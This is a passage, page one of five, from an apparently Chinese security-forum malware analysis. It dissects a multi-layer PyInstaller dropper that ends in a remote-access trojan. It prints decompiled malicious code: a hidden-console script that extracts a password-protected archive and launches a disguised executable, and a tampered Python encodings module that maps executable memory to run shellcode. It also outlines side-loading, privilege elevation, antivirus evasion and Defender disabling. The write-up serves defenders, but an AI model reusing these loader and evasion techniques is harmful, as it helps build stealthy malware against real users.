首页| 论坛| 搜索| 消息
主题:多层嵌套的Python远控木马,从伪装到上线的完整链条
z3960发表于 2026-05-09 06:53
uzusy28.exe 恶意样本分析报告

基本信息
项目内容原始文件名uzusy28.exe文件大小21 MB文件类型PE32 executable (GUI) Intel 80386打包方式PyInstaller 3.x / Python 3.10SHA13b0d4fd6968458c086e4e173050213fcfd05c4e5分析日期2026-04-17
执行摘要

近期捕获的uzusy28.exe 是一个经过多层嵌套的恶意载荷投放器,通过 PyInstaller 打包 Python 脚本,经过 7 层嵌套后最终释放并执行一个功能完整的远控木马(RAT)。攻击链涉及合法软件伪装、Python 标准库篡改、Donut shellcode 加载、进程注入、系统持久化等多种技术。是一个不错的分析对象。
攻击链总览


复制代码 隐藏代码L1: uzusy28.exe (PyInstaller 打包, 21MB)├── L2: oo.pyc (入口脚本)│└── L3: dd.pyc (包含加密 7z, 密码 "2026")│ └── L4: wefault.exe (外层, 合法 mgodb 改名)│└── L5: app-xxx/wefault.exe (内层, pythonw.exe)│ └── L6: python310.zip/encodings/__init__.pyc (被篡改)│└── L7: shellcode.bin (Donut Shellcode #1)│ └── L8: fsch.dll (投放器/loader, 导出 f)│└── L9: base32.pyc → shellcode.bin2 (Donut Shellcode #2)│ └── L10: RAT DLL (远控主体, 导出 run)
第一层:uzusy28.exe

基本信息
大小: 21 MB类型: PyInstaller 打包的 Python 3.12 可执行文件(外层)行为: PyInstaller 自解压到临时目录,执行入口脚本 oo.pyc
分析方法

可以参考我之前的帖子,直接在线解包,也可以使用 pyinstxtractor 解包,提取内部 .pyc 文件。
第二层:oo.pyc(入口脚本)

基本信息
来源: PyInstaller 解包后的入口点行为: 反编译后确认为恶意入口脚本功能: 调用 dd.pyc 模块,触发后续攻击链
分析方法

由于使用的是python3.12打包,必须使用pylingual,直接反编译可以获得结果。从反编译的代码中可以看出来从dd模块中导入了data,然后通过7z解压到可疑目录。 复制代码 隐藏代码import ioimport py7zrimport ctypesfrom dd import datadef decompress_7z_from_memory():source_data = datamemory_file = io.BytesIO(source_data)password = '2026'target_dir = 'C:/programdata/python'with py7zr.SevenZipFile(memory_file, mode='r', password=password) as archive:archive.extractall(path=target_dir)except py7zr.exceptions.PasswordRequired:print('错误:该压缩包需要密码。')except py7zr.exceptions.Bad7zFile:print('错误:不是有效的 7z 文件或密码错误。')except Exception as e:print(f'发生意外错误: {e}')if __name__ == '__main__':hwnd = ctypes.windll.kernel32.GetConsoleWindow()ctypes.windll.user32.ShowWindow(hwnd, 0)decompress_7z_from_memory()try:ctypes.windll.shell32.ShellExecuteW(None, 'open', 'C:\programdata\python\wefault.exe', '', None, 1)except:# return Nonepass
第三层:dd.pyc(加密压缩包释放器)

基本信息
来源: PYZ 压缩包内提取的模块行为: 内嵌一个 7z 压缩包,密码为 2026,见上面行为功能: 解压并释放后续载荷到目标路径
第四层:wefault.exe(外层 — 合法软件伪装)

基本信息
原始软件: 合法的 MongoDB 数据库工具(mgodb)伪装手段: 改名为 wefault.exe,伪装成系统相关程序功能: 作为启动器,运行 app-xxx 目录下的同名文件 wefault.exe(内层)


分析方法

通过数字签名知道这个是合法的工具,被利用了,通过ida反编译这个工具知道他的具体行为是启动app-xxx目录下的同名应用,这个启动器没有进行任何校验,这也给攻击者利用的空间


第五层:wefault.exe(内层 — pythonw.exe)

基本信息
实质: Python 3.10 的 pythonw.exe(无控制台窗口的 Python 解释器)行为: 启动后加载 python310.zip 中的 Python 标准库关键点: 标准库 encodings 模块已被攻击者篡改
分析方法

最初也通过ida对这个文件进行分析,但最终发现这个文件没有问题,问题在下面,攻击者添加了一个恶意的pyc文件,实现自动加载恶意载荷。
第六层:encodings/init.pyc(被篡改的 Python 标准库)

基本信息
来源: python310.zip 内的 encodings/__init__.pyc篡改方式: 在标准 encodings 模块中嵌入了恶意 shellcode 和加载逻辑行为: Python 初始化时自动加载 encodings 模块,恶意代码随系统启动自动执行隐蔽性: 利用 Python 标准库加载机制,不在主脚本中出现任何可疑代码
注意这个大小和修改日期

触发方式

Python 解释器启动时会自动 import encodings 模块,因此恶意代码在 Python 初始化阶段即被执行,无需显式调用。
分析方法

下面是反编译后的代码,因为是python3.10,多种反编译都可以。从反编译的代码中能看到清晰的恶意行为,通过创建可执行内存映射区域准备加载并执行一段Shellcode,属于典型的无文件内存注入技术框架。 复制代码 隐藏代码import ctypesfrom ctypes import wintypesshellcode = b'xxx'INVALID_HANDLE_VALUE = -1PAGE_EXECUTE_READWRITE = 64FILE_MAP_WRITE = 2FILE_MAP_EXECUTE = 32MEM_COMMIT = 4096MEM_RESERVE = 8192kernel32 = ctypes.windll.kernel32CreateFileMapping = kernel32.CreateFileMappingWCreateFileMapping.argtypes = CreateFileMapping.restype = wintypes.HANDLEMapViewOfFile = kernel32.MapViewOfFileMapViewOfFile.argtypes = MapViewOfFile.restype = ctypes.c_void_pUnmapViewOfFile = kernel32.UnmapViewOfFileUnmapViewOfFile.argtypes = UnmapViewOfFile.restype = wintypes.BOOLCloseHandle = kernel32.CloseHandleCloseHandle.argtypes = CloseHandle.restype = wintypes.BOOLdef execute_shellcode(shellcode):hMapObject = CreateFileMapping(INVALID_HANDLE_VALUE, None, PAGE_EXECUTE_READWRITE, 0, len(shellcode), None)pAddress = MapViewOfFile(hMapObject, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, len(shellcode))execute_shellcode(shellcode)
第七~八层:Donut Shellcode #1 → fsch.dll

shellcode.bin 基本信息
大小: 257 KB加密方式: Donut framework 的 Chaskey-CTR 加密(这个可以写一篇新的文章进行讲解,在这里不是重点)反分析: 内含 AMSI bypass、ETW bypass 等对抗机制
fsch.dll 基本信息
项目内容提取文件名fsch.dll大小172 KB架构AMD64 PE32+ (DLL)导出函数f (RVA 0x176C)编译器MSVC
fsch.dll 恶意行为详细分析

1. 提权与重启
复制代码 隐藏代码ShellExecuteExA("runas") → 非管理员时请求管理员权限重新启动自身


2. 创建伪装目录与快捷方式
创建目录: C:ProgramDataTencentTencent(伪装腾讯软件)创建快捷方式: KOOK.lnk → 指向 wefault.exe(伪装 KOOK 聊天软件)


3. 反杀软检测
使用 CreateToolhelp32Snapshot 遍历进程列表查找 360tray.exe(360 安全卫士)根据检测结果调整后续行为


4. 关闭 Windows Defender
复制代码 隐藏代码power
下一页 (1/5)
回帖(3):
3 # huwg
05-09 12:32
谢谢分享
2 # huwg
05-09 12:32
了解一次
1 # huwg
05-09 12:32
来看看看

全部回帖(3)»
最新回帖
收藏本帖
发新帖